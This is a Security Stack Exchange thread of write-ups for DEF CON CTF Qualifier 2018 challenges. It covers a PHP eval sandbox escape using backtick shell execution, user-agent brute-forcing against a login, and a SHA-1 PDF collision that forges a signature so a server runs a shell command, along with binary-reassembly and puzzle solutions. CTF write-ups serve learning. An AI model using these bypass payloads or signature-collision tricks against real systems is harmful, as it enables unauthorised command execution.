Let's participate in the DEF CON CTF Qualifier 2018!

The CTF runs Sat, 12 May 2018, 00:00 UTC — Mon, 14 May 2018, 00:00 UTC.

You can find additional details on the CTFtime event page. Links to previous years' challenges can be found via CTFtime. A sec.se team participated in 2013.

General info:

  • We compete as team sec.se.
  • We communicate over Slack. To get an invitation to the group you can contact any member of the team. (We will need to know an email address to send the invitation to and a reference to your Security.SE profile.)
  • For questions, join us in the public chat room.

Good luck everyone!

Now that the event is over, you can find challenge material and solutions on the organizers' Github and on CTFTime.

5 Answers 5


PHP Eval whitelist (re, web)

You're presented with a website that lets you eval() PHP code. However, the site is protected by a custom PHP extension that's supposed to restrict eval(), and an open_basedir() directive.

This means we can't just use...

echo file_get_contents("/var/www/flag");

...because open_basedir() is restricting PHP's access to the /var/www/html directory tree, thus preventing us from reading files at /var/www/ directly:

Warning: file_get_contents(): open_basedir restriction in effect. File(/var/www/flag) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(44) : eval()'d code on line 1

Warning: file_get_contents(/var/www/flag): failed to open stream: Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1

Also, the extension seems to prevent us from using functions like shell_exec(). However, we can just take advantage of the backtick execution operator:

echo `/var/www/flag`;

This immediately works because open_basedir() doesn't extend to shell commands -- which is why I initially used this construct which turned out to be unnecessarily complicated:

echo `sh -c "/var/www/flag"`;

Both payloads will yield the flag:


sbva (web)

You're presented with a login-protected website and given admin credentials to it ([email protected]:admin). However, the website is advertised as being able to stop attackers "even when the admin's credentials are leaked". And indeed, after logging in you are immediately redirected...

HTTP/1.1 302 Found
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 14 May 2018 14:02:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: upgrade-insecure-requests
Location: wrongbrowser.php
Content-Length: 259

    <style scoped>
        h1 {color:red;}
        p {color:blue;} 
    <video id="v" autoplay> </video>
        if (navigator.battery.charging) {
            console.log("Device is charging.")

...to wrongbrowser.php:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 14 May 2018 14:02:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30

Incompatible browser detected.

Evidently, the website is detecting the admin's browser as an additional layer of protection. To find out if it's using the User-Agent header to identify the admin, we first try to omit the header completely. With a missing UA we get...

<br />
<b>Notice</b>:  Undefined index: HTTP_USER_AGENT in <b>/var/www/html/browsertest.php</b> on line <b>3</b><br />

... so some processing of the UA seems to take place.

In order to narrow down what UA the admin may be using, let's have a look at the distinct features the redirecting page is using:

  • Content-Security-Policy: upgrade-insecure-requests

  • <style scoped>

  • <video autoplay>

  • navigator.battery.charging

The most notable here seems to be <style scoped> which has only been ever inplemented in Firefox 21-54. Also, upgrade-insecure-requests has been available in Firefox since version 42 and navigator.battery was removed in Firefox 50 in favor of the navigator.getBattery() API.

So, we're left with brute-forcing user-agents of Firefox between 42 and 49 with a simple Python script:

import requests
import time

URL = 'http://0da57cd5.quals2018.oooverflow.io/login.php'

for version in range(42, 50):
    user_agent = 'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/%d.0' % version
    r = requests.post(
        data={'username': '[email protected]', 'password': 'admin'},
        headers={'User-Agent': user_agent}
    if "Incompatible" not in r.text:

This immediately hits at Firefox 42 and we receive the flag:


Easy Pisy (crypto, web)

You're presented with a website which lets you upload PDF documents and provides two services:

  • You can get your uploaded PDF document signed. If the text displayed inside the PDF (it's parsed with OCR) starts with ECHO, it's safe to be signed and you will be given a signature.

  • You can get your uploaded PDF executed. If you provide a valid signature for your PDF and its displayed text starts with EXECUTE, the command that follows will be shell_exec()'d.

So the challenge is to obtain a signature for an innocent-looking PDF (must start with ECHO) but also be able to craft a PDF with the same signature that starts with EXECUTE.

Luckily, the PHP app is using openssl_sign() / openssl_verify() which defaults to SHA-1 as signature_alg -- and SHA-1 is well-known to be broken in practice.

Google's collision proof of concept takes advantage of diffferently aligned comment sections inside a JPEG embedded into the PDF document to make both PDFs display different images (which can be freely chosen) as explained here. (SHA-1 operates on blocks, so you can append arbitrarily large identical blocks to both PDFs after the collision blocks and always end up with the hashes of both documents colliding.)

Info grahic

(Image source)

So we can just use one of the tools available to produce two PDFs with different images and colliding SHA-1 hashes, one displaying...

ECHO foo

and the other one...

EXECUTE cat flag

Now we just need to have the first innocent one signed, then upload the second one with the signature of the first, which passes the verification and finally yields the flag:


ELF Crumble (warmup)

We prepared this beautiful binary that just printed for you the welcome flag, but it fell on the ground and broke into pieces.

Luckily no instruction was broken, so I am sure you can just glue it back together…

Flag format is non-standard, there are no brackets.



We get a 7500-byte file called broken and 8 files called fragment_N for N=1–8. broken is a Linux x86 32-bit executable with a 807-byte string XXXX…XXXX in it. objdump -D pieces/broken reveals that this includes the code of main and other functions. The total size of the fragment files is 807 bytes so evidently we have to assemble them and overwrite XXXX…XXXX with them. But in what order?

I'm sure there's a clever way to solve this (see below), but I used brute force instead: assemble and run all 40320 permutations. The assemble script:

#!/usr/bin/env python3
import itertools, os, re, sys

def slurp(filename):
    with open('pieces/'+filename, 'rb') as f:
        return f.read()

def emit(prefix, permutation, suffix):
    name = ''.join([str(i) for i, fragment in permutation]) + '.bin'
    with open('out/'+name, 'wb') as f:
        for i, fragment in permutation:

def splice_all(broken, fragments):
    prefix = broken[:broken.find(b'XXXX')]
    suffix = broken[broken.rfind(b'XXXX')+4:]
    for p in itertools.permutations(fragments):
        emit(prefix, p, suffix)

if __name__ == '__main__':
    broken = slurp('broken')
    fragments = [(i, slurp('fragment_{}.dat'.format(i))) for i in range(1, 9)]
    splice_all(broken, fragments)

Running them:

mkdir out
for x in *.bin; do ./$x >$x.out 2>$x.err; echo $? >$x.status; done
grep . out/*.out

87156234.bin outputs welcOOOme and that's the flag.

UAFCSC's writeup explains how to reconstruct the order of the fragments by analyzing function boundaries.


You Already Know

Stop overthinking it, you already know the answer here.

You already have the flag.

Seriously, if you can read this, then you have the flag.

Submit it!

So the flag must be hidden in the site's code or in a header or something. I finally found it using my browser's development tools. Clicking the button to see the challenge text sends a JSON response which is:

{"success": true, "message": "Stop overthinking it, you already know the answer here.\n\n[comment]: <> (OOO{Sometimes, the answer is just staring you in the face. We have all been there})\n\nYou already have the flag.\n\n**Seriously**, _if you can read this_, then you have the flag.\n\nSubmit it!\n"}

thettohackers: Throwback (misc)

A guest challenge from ghettohackers!

This one is a throwback to those retro CTFs of yore.

Flag format is nonstandard, there are no brackets.

We get a text file containing


Replacing ! by the correct letter and adding back spaces yields

AnyoNe Who would sacrifice poLicy for execuTIon speed thinkS security is a commOdity to pOur into a syStem.

The missing letters (and final punctuation) are nwltisoos. This isn't the flag, with or without punctuation.

Next, I looked at the intervals between missing letters.

4 1 18 11 0 12 15 7 9 3

What does this spell? DARK LOGIC (with 0=space, A=1, …). The flag turns out to be dark logic.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .